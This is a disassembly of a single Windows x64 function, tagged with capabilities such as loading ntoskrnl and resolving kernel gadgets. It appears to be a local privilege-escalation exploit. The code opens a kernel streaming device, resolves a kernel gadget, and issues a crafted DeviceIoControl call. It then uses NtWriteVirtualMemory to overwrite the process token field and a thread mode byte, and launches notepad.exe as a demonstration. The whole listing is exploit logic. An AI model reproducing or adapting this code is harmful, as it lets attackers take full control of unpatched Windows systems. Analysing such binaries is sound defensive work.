Function at 0x140001260
Capabilities:
Execute command
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
push rbp
push rbx
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp], rax
xorps xmm0, xmm0
xor r15d, r15d
xorps xmm1, xmm1
mov qword [rsp + 0x58], r15
xor eax, eax
mov ebx, r15d
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x58], rax
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x50], eax
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [0x140003320]
movups xmmword [rsp + 0x78], xmm1
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rbp - 0x78], xmm1
movups xmmword [rbp - 0x68], xmm1
movsxd rax, ebx
lea rcx, [rsp + 0x68]
shl rax, 4
lea r8, [rsp + 0x58]
add rcx, rax
mov edx, 0xc0000000
call qword [sym.imp.ksproxy.ax_KsOpenDefaultDevice]
test eax, eax
jne 0x140001523
inc ebx
cmp ebx, 1
jb 0x1400012c2
mov edx, 4
mov qword [rsp + 0x138], rdi
mov rbx, r15
mov qword [rsp + 0x50], r15
mov r8d, edx
mov qword [rsp + 0x48], r15
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x40], rbx
mov rdi, r15
call section..text
test eax, eax
jne 0x14000151b
mov qword [rsp + 0x130], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 1
mov r8d, eax
lea ecx, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x140001370
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, rsi
lea rcx, [rsp + 0x40]
mov edx, eax
call section..text
test eax, eax
jne 0x140001513
mov rbx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, 1
mov ecx, 0x400
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400013b3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, rsi
lea rcx, [rsp + 0x48]
mov edx, eax
call section..text
test eax, eax
jne 0x140001513
mov rdi, qword [rsp + 0x48]
movups xmm0, xmmword [0x140003330]
mov qword [rsp + 0x140], r14
mov dword [rbp - 0x2c], 0x1000
movaps xmmword [rbp - 0x40], xmm0
movups xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x30], r15d
movups xmmword [rbp - 0x74], xmm0
mov dword [rbp - 0x78], 1
mov dword [rbp - 0x58], 8
mov qword [rbp - 0x60], r15
mov dword [rbp - 0x64], 0x45
call fcn.140001140
mov edx, 0x10
mov ecx, 0x10000000
mov r8d, 0x3000
lea r9d, [rdx - 0xc]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x54], rax
xor edx, edx
lea r14, [rbx + 0x232]
lea rcx, [0x1400032d0]
mov dword [rax], 0x20
mov rax, qword [rbp - 0x54]
lea r8d, [rdx + 1]
mov qword [rax + 8], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
test rax, rax
je 0x14000146b
lea rdx, str.RtlClearAllBits
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14000146b
call fcn.140001140
sub rbx, rsi
add rax, rbx
jmp 0x14000146e
mov rax, r15
mov rcx, qword [rsp + 0x58]
lea r8, [rbp - 0x40]
mov qword [rsp + 0x38], r15
mov r9d, 0x40
mov qword [rbp - 8], rax
mov edx, 0x2f0003
mov qword [rsp + 0x30], r15
lea rax, [rsp + 0x78]
mov dword [rsp + 0x28], 0x3c
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rbx, qword [rsp + 0x50]
mov byte [rsp + 0x60], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r15
mov rcx, rax
lea r8, [rbx + 0x4b8]
lea rdx, [rdi + 0x4b8]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 1
mov qword [rsp + 0x20], r15
mov rcx, rax
lea r8, [rsp + 0x60]
mov rdx, r14
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rcx, str.notepad.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r14, qword [rsp + 0x140]
xor eax, eax
mov rsi, qword [rsp + 0x130]
mov rdi, qword [rsp + 0x138]
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140001550
add rsp, 0x110
pop r15
pop rbx
pop rbp
ret